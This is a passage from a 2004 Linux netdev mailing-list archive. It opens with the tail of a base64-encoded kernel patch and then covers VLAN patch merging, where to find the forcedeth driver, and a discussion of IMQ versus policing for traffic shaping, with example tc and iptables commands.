ZXF1ZXVlKHNrYiwgY2wtPnFkaXNjKTsNCisJaWYgKHJldCA9PSBORVRfWE1J VF9TVUNDRVNTKSB7DQorCQlpZiAoY2wtPnFkaXNjLT5xLnFsZW4gPT0gMSkN CisJCQlzZXRfYWN0aXZlKGNsLCBsZW4pOw0KKwkJc2NoLT5xLnFsZW4rKzsN CisJfSBlbHNlIHsNCisJCWNsLT5zdGF0cy5kcm9wcysrOw0KKwkJc2NoLT5z dGF0cy5kcm9wcysrOw0KKwl9DQorCXEtPmxhc3RfeG1pdCA9IE5VTEw7DQor DQorCXJldHVybiByZXQ7DQorfQ0KKw0KK3N0YXRpYyB1bnNpZ25lZCBpbnQN CitoZnNjX2Ryb3Aoc3RydWN0IFFkaXNjICpzY2gpDQorew0KKwlzdHJ1Y3Qg aGZzY19zY2hlZCAqcSA9IChzdHJ1Y3QgaGZzY19zY2hlZCAqKXNjaC0+ZGF0 YTsNCisJc3RydWN0IGhmc2NfY2xhc3MgKmNsOw0KKwl1bnNpZ25lZCBpbnQg bGVuOw0KKw0KKwlsaXN0X2Zvcl9lYWNoX2VudHJ5KGNsLCAmcS0+ZHJvcGxp c3QsIGRsaXN0KSB7DQorCQlpZiAoY2wtPnFkaXNjLT5vcHMtPmRyb3AgIT0g TlVMTCAmJg0KKwkJICAgIChsZW4gPSBjbC0+cWRpc2MtPm9wcy0+ZHJvcChj bC0+cWRpc2MpKSA+IDApIHsNCisJCQlpZiAoY2wtPnFkaXNjLT5xLnFsZW4g PT0gMCkgew0KKwkJCQl1cGRhdGVfdmYoY2wsIDAsIDApOw0KKwkJCQlzZXRf cGFzc2l2ZShjbCk7DQorCQkJfSBlbHNlIHsNCisJCQkJbGlzdF9tb3ZlX3Rh aWwoJmNsLT5kbGlzdCwgJnEtPmRyb3BsaXN0KTsNCisJCQl9DQorCQkJY2wt PnN0YXRzLmRyb3BzKys7DQorCQkJc2NoLT5zdGF0cy5kcm9wcysrOw0KKwkJ CXNjaC0+cS5xbGVuLS07DQorCQkJcmV0dXJuIGxlbjsNCisJCX0NCisJfQ0K KwlyZXR1cm4gMDsNCit9DQorDQorc3RhdGljIHN0cnVjdCBRZGlzY19jbGFz c19vcHMgaGZzY19jbGFzc19vcHMgPSB7DQorCS5jaGFuZ2UJCT0gaGZzY19j aGFuZ2VfY2xhc3MsDQorCS5kZWxldGUJCT0gaGZzY19kZWxldGVfY2xhc3Ms DQorCS5ncmFmdAkJPSBoZnNjX2dyYWZ0X2NsYXNzLA0KKwkubGVhZgkJPSBo ZnNjX2NsYXNzX2xlYWYsDQorCS5nZXQJCT0gaGZzY19nZXRfY2xhc3MsDQor CS5wdXQJCT0gaGZzY19wdXRfY2xhc3MsDQorCS5iaW5kX3RjZgk9IGhmc2Nf YmluZF90Y2YsDQorCS51bmJpbmRfdGNmCT0gaGZzY191bmJpbmRfdGNmLA0K KwkudGNmX2NoYWluCT0gaGZzY190Y2ZfY2hhaW4sDQorCS5kdW1wCQk9IGhm c2NfZHVtcF9jbGFzcywNCisJLndhbGsJCT0gaGZzY193YWxrDQorfTsNCisN CitzdHJ1Y3QgUWRpc2Nfb3BzIGhmc2NfcWRpc2Nfb3BzID0gew0KKwkuaWQJ CT0gImhmc2MiLA0KKwkuaW5pdAkJPSBoZnNjX2luaXRfcWRpc2MsDQorCS5j aGFuZ2UJCT0gaGZzY19jaGFuZ2VfcWRpc2MsDQorCS5yZXNldAkJPSBoZnNj X3Jlc2V0X3FkaXNjLA0KKwkuZGVzdHJveQk9IGhmc2NfZGVzdHJveV9xZGlz YywNCisJLmR1bXAJCT0gaGZzY19kdW1wX3FkaXNjLA0KKwkuZW5xdWV1ZQk9 IGhmc2NfZW5xdWV1ZSwNCisJLmRlcXVldWUJPSBoZnNjX2RlcXVldWUsDQor CS5yZXF1ZXVlCT0gaGZzY19yZXF1ZXVlLA0KKwkuZHJvcAkJPSBoZnNjX2Ry b3AsDQorCS5jbF9vcHMJCT0gJmhmc2NfY2xhc3Nfb3BzLA0KKwkucHJpdl9z aXplCT0gc2l6ZW9mKHN0cnVjdCBoZnNjX3NjaGVkKSwNCisJLm93bmVyCQk9 IFRISVNfTU9EVUxFDQorfTsNCisNCitzdGF0aWMgaW50IF9faW5pdA0KK2hm c2NfaW5pdCh2b2lkKQ0KK3sNCisJcmV0dXJuIHJlZ2lzdGVyX3FkaXNjKCZo ZnNjX3FkaXNjX29wcyk7DQorfQ0KKw0KK3N0YXRpYyB2b2lkIF9fZXhpdA0K K2hmc2NfY2xlYW51cCh2b2lkKQ0KK3sNCisJdW5yZWdpc3Rlcl9xZGlzYygm aGZzY19xZGlzY19vcHMpOw0KK30NCisNCitNT0RVTEVfTElDRU5TRSgiR1BM Iik7DQorbW9kdWxlX2luaXQoaGZzY19pbml0KTsNCittb2R1bGVfZXhpdCho ZnNjX2NsZWFudXApOw0K ---559023410-851401618-1075118520=:22399-- From shmulik.hen@intel.com Mon Jan 26 05:22:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 05:22:49 -0800 (PST) Received: from hermes-pilot.fm.intel.com (fmr99.intel.com [192.55.52.32]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QDMT7J032385 for ; Mon, 26 Jan 2004 05:22:30 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by hermes-pilot.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0QDJvYV019076; Mon, 26 Jan 2004 13:19:57 GMT Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0QDNZTh032620; Mon, 26 Jan 2004 13:23:55 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.220.54]) by fmsmsxvs043.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004012605221412686 ; Mon, 26 Jan 2004 05:22:16 -0800 From: Shmuel Hen Organization: Intel Corporation To: "Jeff Garzik" , "David S. Miller" Subject: Re: [PATCH 3/6][8021q][2.4] Use VLAN tag set functionality in 8021q module Date: Mon, 26 Jan 2004 15:22:14 +0200 User-Agent: KMail/1.5.3 Cc: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="tscii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401261522.14126.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2803 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev On Thursday 22 January 2004 20:06, David S. Miller wrote: > > > On Thu, 22 Jan 2004 Shmuel Hen wrote: > > > > Make the regular/HW accelerated xmit functions in the 8021q > > > > module use the new set VLAN tag functionality to reduce code > > > > duplication. > > > > > > I'm fine with this and the ARP change, I am pretty sure. > > > > > > But we have way too much stuff pending for the next 2.6.x release, > > > so I'm going to defer adding these changes until Linus puts > > > something final out. > > > > > > Please resend these two changes after he does a release. > > > > Fair enough. What about 2.4 ? > > Sure, send it once 2.4.26-preX starts up. Jeff, Since the last 3 patches from this set depend on the acceptance of the first 3, and because they are also based on previous changes in bonding that are queued in the netdev-2.4/2.6 BK trees, do you have a problem accepting all 6 patches into the netdev trees? Also, speaking of the bonding changes queued in netdev-2.4, some of those have been queued there since 2.4.23 came out. Will those be pushed to Marcelo during 2.4.25 or do you intend to hold them until 2.4.26-preX starts? -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | From hadi@cyberus.ca Mon Jan 26 05:39:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 05:39:39 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QDdK7J001012 for ; Mon, 26 Jan 2004 05:39:25 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1Al6xF-00075W-7d; Mon, 26 Jan 2004 08:39:05 -0500 Subject: Re: [RFC/PATCH] IMQ port to 2.6 From: jamal Reply-To: hadi@cyberus.ca To: "Vladimir B. Savkin" Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com In-Reply-To: <20040126093230.GA17811@usr.lcm.msu.ru> References: <20040125152419.GA3208@penguin.localdomain> <20040125164431.GA31548@louise.pinerecords.com> <1075058539.1747.92.camel@jzny.localdomain> <20040125202148.GA10599@usr.lcm.msu.ru> <1075074316.1747.115.camel@jzny.localdomain> <20040126001102.GA12303@usr.lcm.msu.ru> <1075086588.1732.221.camel@jzny.localdomain> <20040126093230.GA17811@usr.lcm.msu.ru> Content-Type: text/plain Organization: jamalopolis Message-Id: <1075124312.1732.292.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 26 Jan 2004 08:38:33 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2804 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Mon, 2004-01-26 at 04:32, Vladimir B. Savkin wrote: > On Sun, Jan 25, 2004 at 10:09:48PM -0500, jamal wrote: [..] > > shape). I have not seen anything in favor of shaping; i could be wrong > > (so if you know of something or have experimented pass the data). > > Yes, I have experimented. Shaping works much better: > much less packets dropped, much better donwload rates for clients. > I cant say i doubt you, but your word alone is insufficient data ;-> The important point is the eventual effective throughput and fairness amongst the flows. Whether it is induced by an increased RTT from shaping or a single packet retransmit on some misbehaving flows because of policing is less important. i.e it is not evil for packets to be dropped. When you analyse something like this you should look at the aggregate throughput instead of a single client with better downloads (probably at the expense of another poor client download). > I want to shape traffic that comes from upstream to clients connected > via PPTP. So if i understand correctly and was to draw this: you have clients on the left side coming in through ethx and that need to be tunneled to some pppoe/pptp before going out ethy on the right hand side. The right handside represents "upstream" in your terminology. Is this correct? I hate it when people ask me for a diagram for something that looks obvious;-> but bear with me and supply me with a diagram if i didnt understand you. > > Here is a part of my scripts: > > DEVICE=imq0 > /sbin/tc qidisc add dev $DEVICE root handle 10: htb r2q 1 default 100 > /sbin/tc class add dev $DEVICE parent 10:0 classid 10:1 est 1sec 8sec htb \ > rate 10Mbit burst 400k > /sbin/tc class add dev $DEVICE parent 10:1 classid 10:2 est 1sec 8sec htb \ > rate 180kbps ceil 180kbps burst 3000 > # default class for users > /sbin/tc class add dev $DEVICE parent 10:2 classid 10:101 est 1sec 8sec htb \ > rate 20kbps burst 1k ceil 50kbps cburst 1k > /sbin/tc qdisc add dev $DEVICE parent 10:101 wrr \ > dest ip 128 1 wmode1=1 wmode2=1 > /sbin/tc filter add dev $DEVICE protocol ip parent 10:0 \ > prio 100 handle 1 fw flowid 10:101 > # more classes to follow ... > So why not have the above attached to ethy? Why does it have to be done at some other device? > > The limit 50kbps is artificial, so there's no bottleneck in > connection from upstream to this router. I cannot allocate all > the channel bandwidth to clients for some political reasons. > Then, I mark packets I want to go to this default user class with mark "1", > like this: > > iptables -t mangle -A FORWARD -i $UPLINK_DEV -d $CLIENTS_NET \ > -j IMQ --todev 0 # traffic from internet to clients > iptables -t mangle -A FORWARD -i $UPLINK_DEV -d $CLIENTS_NET \ > -j MARK --set-mark 1 # default class Why do you need the redirect to IMQ? If you can selectively mark packets here (or at any other netfilter hook) you could use the fwmark classifier to attach to different 10:x classes on the ethy interface. I feel i am missing something. > So, I shape traffic destined to clients, and I use "wrr" to > divide bandwidth fairly. I cannot attach qdisc to an egress device > because there's no single one, each client has its own ppp interface. > I mean the ethy interface not the ppp* interfaces. Mark the packets; use fwmark classifier. > Well, I could move this shaping upstream, but what if upstream router was > some dumb cisco with no "wrr" qdisc? You dont have to. Give me the diagram. cheers, jamal From x-y-z@laposte.net Mon Jan 26 06:02:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 06:03:11 -0800 (PST) Received: from ns1.terranet.fr (terra.irts.fr [194.206.161.9]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QE2s7J001824 for ; Mon, 26 Jan 2004 06:02:57 -0800 Received: from laposte.net (unknown [192.168.169.79]) by ns1.terranet.fr (Postfix) with ESMTP id 50A271BAE5; Mon, 26 Jan 2004 14:43:19 +0100 (CET) Message-ID: <40151D7D.5030600@laposte.net> Date: Mon, 26 Jan 2004 15:00:29 +0100 From: cityhunter User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.5) Gecko/20031007 X-Accept-Language: fr, en MIME-Version: 1.0 To: netdev@oss.sgi.com, c-d.hailfinger.kernel.2004@gmx.net Subject: nforce2 ethernet driver Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2805 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: x-y-z@laposte.net Precedence: bulk X-list: netdev hello, I found that you writed a kernel module for nvdia nforce ethenet. your site have a lot of kernel patch for the "forcedeth.c" file that I can't find in my 2.6.1 kernel archive.... can you tell me where to get it? thx JLM From c-d.hailfinger.kernel.2004@gmx.net Mon Jan 26 06:11:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 06:11:57 -0800 (PST) Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QEBh7J002384 for ; Mon, 26 Jan 2004 06:11:44 -0800 Received: (qmail 31374 invoked by uid 65534); 26 Jan 2004 14:11:35 -0000 Received: from stud213136.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.213.136) by mail.gmx.net (mp025) with SMTP; 26 Jan 2004 15:11:35 +0100 X-Authenticated: #21910825 Message-ID: <40152E10.6040901@gmx.net> Date: Mon, 26 Jan 2004 16:11:12 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: cityhunter CC: netdev@oss.sgi.com Subject: Re: nforce2 ethernet driver References: <40151D7D.5030600@laposte.net> In-Reply-To: <40151D7D.5030600@laposte.net> X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2806 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2004@gmx.net Precedence: bulk X-list: netdev cityhunter wrote: > hello, > I found that you writed a kernel module for nvdia nforce ethenet. > your site have a lot of kernel patch for the "forcedeth.c" file that I > can't find in my 2.6.1 kernel archive.... > can you tell me where to get it? You need at least 2.6.1-rc1 for the latest forcedeth patch. HTH, Carl-Daniel -- http://www.hailfinger.org/ From c-d.hailfinger.kernel.2004@gmx.net Mon Jan 26 06:12:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 06:12:59 -0800 (PST) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QECj7J002513 for ; Mon, 26 Jan 2004 06:12:46 -0800 Received: (qmail 2947 invoked by uid 65534); 26 Jan 2004 14:12:39 -0000 Received: from stud213136.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.213.136) by mail.gmx.net (mp013) with SMTP; 26 Jan 2004 15:12:39 +0100 X-Authenticated: #21910825 Message-ID: <40152E51.9070109@gmx.net> Date: Mon, 26 Jan 2004 16:12:17 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: cityhunter CC: netdev@oss.sgi.com Subject: Re: nforce2 ethernet driver References: <40151D7D.5030600@laposte.net> <40152E10.6040901@gmx.net> In-Reply-To: <40152E10.6040901@gmx.net> X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2807 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2004@gmx.net Precedence: bulk X-list: netdev Carl-Daniel Hailfinger wrote: > cityhunter wrote: > >>hello, >>I found that you writed a kernel module for nvdia nforce ethenet. >>your site have a lot of kernel patch for the "forcedeth.c" file that I >>can't find in my 2.6.1 kernel archive.... >>can you tell me where to get it? > > > You need at least 2.6.1-rc1 for the latest forcedeth patch. Sorry, that should have been 2.6.2-rc1 > > HTH, > Carl-Daniel -- http://www.hailfinger.org/ From master@tentacle.sectorb.msk.ru Mon Jan 26 06:26:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 06:26:43 -0800 (PST) Received: from tentacle.sectorb.msk.ru (postfix@tentacle.s2s.msu.ru [193.232.119.109]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QEPH7J003472 for ; Mon, 26 Jan 2004 06:25:17 -0800 Received: by tentacle.sectorb.msk.ru (Postfix, from userid 10001) id 66CC5202D; Mon, 26 Jan 2004 16:55:45 +0300 (MSK) Date: Mon, 26 Jan 2004 16:55:45 +0300 From: "Vladimir B. Savkin" To: jamal Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [RFC/PATCH] IMQ port to 2.6 Message-ID: <20040126135545.GA19497@usr.lcm.msu.ru> References: <20040125152419.GA3208@penguin.localdomain> <20040125164431.GA31548@louise.pinerecords.com> <1075058539.1747.92.camel@jzny.localdomain> <20040125202148.GA10599@usr.lcm.msu.ru> <1075074316.1747.115.camel@jzny.localdomain> <20040126001102.GA12303@usr.lcm.msu.ru> <1075086588.1732.221.camel@jzny.localdomain> <20040126093230.GA17811@usr.lcm.msu.ru> <1075124312.1732.292.camel@jzny.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Disposition: inline In-Reply-To: <1075124312.1732.292.camel@jzny.localdomain> X-Organization: Moscow State Univ., Dept. of Mechanics and Mathematics X-Operating-System: Linux 2.4.24 User-Agent: Mutt/1.5.4i X-archive-position: 2808 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: master@sectorb.msk.ru Precedence: bulk X-list: netdev On Mon, Jan 26, 2004 at 08:38:33AM -0500, jamal wrote: > On Mon, 2004-01-26 at 04:32, Vladimir B. Savkin wrote: > > > On Sun, Jan 25, 2004 at 10:09:48PM -0500, jamal wrote: > [..] > > > shape). I have not seen anything in favor of shaping; i could be wrong > > > (so if you know of something or have experimented pass the data). > > > > Yes, I have experimented. Shaping works much better: > > much less packets dropped, much better donwload rates for clients. > > > > I cant say i doubt you, but your word alone is insufficient data ;-> You can see for youself. Police users' traffic to half of the normal rate and here them scream :) Then change policing to shaping using wrr (or htb class for each user), and sfq on the leafs, and users are happy. > The important point is the eventual effective throughput and fairness > amongst the flows. Whether it is induced by an increased RTT from > shaping or a single packet retransmit on some misbehaving flows because > of policing is less important. i.e it is not evil for packets to > be dropped. > When you analyse something like this you should look at the aggregate > throughput instead of a single client with better downloads (probably at > the expense of another poor client download). Well, I use wrr + sfq exactly for fairness. No such thing can be achieved with policing only. > > > I want to shape traffic that comes from upstream to clients connected > > via PPTP. > > So if i understand correctly and was to draw this: > you have clients on the left side coming in through ethx and that need > to be tunneled to some pppoe/pptp before going out ethy on the right > hand side. The right handside represents "upstream" in your terminology. > Is this correct? I hate it when people ask me for a diagram for > something that looks obvious;-> but bear with me and supply me with a > diagram if i didnt understand you. Here it is: +---------+ +-ppp0- ... - client0 | +-eth1-<+-ppp1- ... - client1 Internet ----- eth0-+ router | . . . . . . . . | +-eth2-< . . . . . . +---------+ +-pppN- ... - clientN Traffic flows from internet to clients. The ethX names are for example only, my setup is more complex actually, but that complexity is not related to IMQ or traffic shaping. Clients use PPTP or PPPoE to connect to router. See, there's no single interface I can attach qdisc to, if I want to put all clients into the same qdisc. > > > > > Here is a part of my scripts: > > > > DEVICE=imq0 > > /sbin/tc qidisc add dev $DEVICE root handle 10: htb r2q 1 default 100 > > /sbin/tc class add dev $DEVICE parent 10:0 classid 10:1 est 1sec 8sec htb \ > > rate 10Mbit burst 400k > > /sbin/tc class add dev $DEVICE parent 10:1 classid 10:2 est 1sec 8sec htb \ > > rate 180kbps ceil 180kbps burst 3000 > > # default class for users > > /sbin/tc class add dev $DEVICE parent 10:2 classid 10:101 est 1sec 8sec htb \ > > rate 20kbps burst 1k ceil 50kbps cburst 1k > > /sbin/tc qdisc add dev $DEVICE parent 10:101 wrr \ > > dest ip 128 1 wmode1=1 wmode2=1 > > /sbin/tc filter add dev $DEVICE protocol ip parent 10:0 \ > > prio 100 handle 1 fw flowid 10:101 > > # more classes to follow ... > > > > So why not have the above attached to ethy? Why does it have to be done > at some other device? > > > > > The limit 50kbps is artificial, so there's no bottleneck in > > connection from upstream to this router. I cannot allocate all > > the channel bandwidth to clients for some political reasons. > > Then, I mark packets I want to go to this default user class with mark "1", > > like this: > > > > iptables -t mangle -A FORWARD -i $UPLINK_DEV -d $CLIENTS_NET \ > > -j IMQ --todev 0 # traffic from internet to clients > > iptables -t mangle -A FORWARD -i $UPLINK_DEV -d $CLIENTS_NET \ > > -j MARK --set-mark 1 # default class > > > Why do you need the redirect to IMQ? > If you can selectively mark packets here (or at any other netfilter > hook) you could use the fwmark classifier to attach to different > 10:x classes on the ethy interface. I feel i am missing something. > > > So, I shape traffic destined to clients, and I use "wrr" to > > divide bandwidth fairly. I cannot attach qdisc to an egress device > > because there's no single one, each client has its own ppp interface. > > > > I mean the ethy interface not the ppp* interfaces. Mark the packets; > use fwmark classifier. > > > Well, I could move this shaping upstream, but what if upstream router was > > some dumb cisco with no "wrr" qdisc? > > You dont have to. > Give me the diagram. > > cheers, > jamal > ~ :wq With best regards, Vladimir Savkin. From hadi@cyberus.ca Mon Jan 26 06:30:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 06:30:48 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QEUY7J003858 for ; Mon, 26 Jan 2004 06:30:35 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1Al7ky-00063e-29; Mon, 26 Jan 2004 09:30:28 -0500 Subject: Re: [RFC/PATCH] IMQ port to 2.6 From: jamal Reply-To: hadi@cyberus.ca To: "Vladimir B. Savkin" Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com In-Reply-To: <20040126135545.GA19497@usr.lcm.msu.ru> References: <20040125152419.GA3208@penguin.localdomain> <20040125164431.GA31548@louise.pinerecords.com> <1075058539.1747.92.camel@jzny.localdomain> <20040125202148.GA10599@usr.lcm.msu.ru> <1075074316.1747.115.camel@jzny.localdomain> <20040126001102.GA12303@usr.lcm.msu.ru> <1075086588.1732.221.camel@jzny.localdomain> <20040126093230.GA17811@usr.lcm.msu.ru> <1075124312.1732.292.camel@jzny.localdomain> <20040126135545.GA19497@usr.lcm.msu.ru> Content-Type: text/plain Organization: jamalopolis Message-Id: <1075127396.1746.370.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 26 Jan 2004 09:29:56 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2809 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Mon, 2004-01-26 at 08:55, Vladimir B. Savkin wrote: > On Mon, Jan 26, 2004 at 08:38:33AM -0500, jamal wrote: > > I cant say i doubt you, but your word alone is insufficient data ;-> > > You can see for youself. Police users' traffic to half of the normal rate > and here them scream :) Then change policing to shaping using wrr > (or htb class for each user), and sfq on the leafs, and users are happy. > ;-> Sorry I dont have time. But this could be a nice paper since i havent seen this topic covered. If you want to write one i could help provide you an outline. > Well, I use wrr + sfq exactly for fairness. No such thing can be > achieved with policing only. > Thats what i was assuming. Shaping alone is insufficient as well. > Here it is: > > +---------+ +-ppp0- ... - client0 > | +-eth1-<+-ppp1- ... - client1 > Internet ----- eth0-+ router | . . . . . . . . > | +-eth2-< . . . . . . > +---------+ +-pppN- ... - clientN > > > Traffic flows from internet to clients. > The ethX names are for example only, my setup is more complex actually, > but that complexity is not related to IMQ or traffic shaping. > Clients use PPTP or PPPoE to connect to router. > See, there's no single interface I can attach qdisc to, if I want > to put all clients into the same qdisc. > So why cant you attach a ingress qdisc on eth1-2 and use policing to mark excess traffic (not drop)? On eth0 all you do is based on the mark you stash them on a different class i.e move the stuff you have on IMQ0 to eth0. Example on ingress: meter1=" police index 1 rate $CIR1" meter1a=" police index 2 rate $PIR1" index 2 is shared by all flows for default. index 1 (and others) is guaranteeing rate (20Kbps) for each of the flows etc. Look for example at examples/Edge32-ca-u32 The most important thing to know is that policers can be shared across devices, flows etc using the "index" operator. I just noticed you are copying linux-kernel. Please take it off the list in your response, this is a netdev issue. This should warn anyone interested in the thread to join netdev. cheers, jamal From kala@pinerecords.com Mon Jan 26 07:24:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 07:25:09 -0800 (PST) Received: from louise.pinerecords.com (louise.pinerecords.com [213.168.176.16]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QFOn7J005996 for ; Mon, 26 Jan 2004 07:24:50 -0800 Received: from louise.pinerecords.com (localhost [127.0.0.1]) by louise.pinerecords.com with ESMTP id i0QFOARJ010241 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 26 Jan 2004 16:24:10 +0100 Received: (from kala@localhost) by louise.pinerecords.com (submit) id i0QFO9Le010240; Mon, 26 Jan 2004 16:24:09 +0100 Date: Mon, 26 Jan 2004 16:24:09 +0100 From: Tomas Szepe To: "Vladimir B. Savkin" Cc: jamal , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [RFC/PATCH] IMQ port to 2.6 Message-ID: <20040126152409.GA10053@louise.pinerecords.com> References: <20040125152419.GA3208@penguin.localdomain> <20040125164431.GA31548@louise.pinerecords.com> <1075058539.1747.92.camel@jzny.localdomain> <20040125202148.GA10599@usr.lcm.msu.ru> <1075074316.1747.115.camel@jzny.localdomain> <20040126001102.GA12303@usr.lcm.msu.ru> <1075086588.1732.221.camel@jzny.localdomain> <20040126093230.GA17811@usr.lcm.msu.ru> <1075124312.1732.292.camel@jzny.localdomain> <20040126135545.GA19497@usr.lcm.msu.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040126135545.GA19497@usr.lcm.msu.ru> User-Agent: Mutt/1.4.1i X-archive-position: 2810 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: szepe@pinerecords.com Precedence: bulk X-list: netdev On Jan-26 2004, Mon, 16:55 +0300 Vladimir B. Savkin wrote: > +---------+ +-ppp0- ... - client0 > | +-eth1-<+-ppp1- ... - client1 > Internet ----- eth0-+ router | . . . . . . . . > | +-eth2-< . . . . . . > +---------+ +-pppN- ... - clientN Actually, this is very much like what we're using IMQ for: +-----------+ eth1 --- \ | shaper + eth2 --- Internet --- eth0 + in bridge + . --- ... WAN (10 C's of customer IPs) | setup + . --- +-----------+ ethN --- / We're shaping single IPs and groups of IPs, applying tariff rates on the sum of inbound and outbound flow (this last point, I'm told, is the primary reason for our use of IMQ). The machine also does IP accounting (through custom userland software based on libpcap) and has to be an ethernet bridge so that it can be replaced by a piece of wire should it fail and there was no backup hardware left. At this moment we're on sfq/u32/htb/IMQ/mangle. We've figured out that unless we mess with iptable_nat, IMQ-enabled kernels will work perfectly reliably (SNAT in particular seems deadly). We don't insist on IMQ. In fact, we would be very grateful if somebody could point us to an alternative mechanism to IMQ that would allow us to effectively shape by the sum of both traffic directions of a given IP, as we'd like to deploy "shaping firewalls" that would also do SNAT. -- Tomas Szepe From shemminger@osdl.org Mon Jan 26 10:10:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 10:11:10 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QIAr7J014193 for ; Mon, 26 Jan 2004 10:10:56 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0QIAeo21760; Mon, 26 Jan 2004 10:10:40 -0800 Date: Mon, 26 Jan 2004 10:10:40 -0800 From: Stephen Hemminger To: viro@parcelfarce.linux.theplanet.co.uk Cc: Andrew Morton , Jeff Garzik , netdev@oss.sgi.com 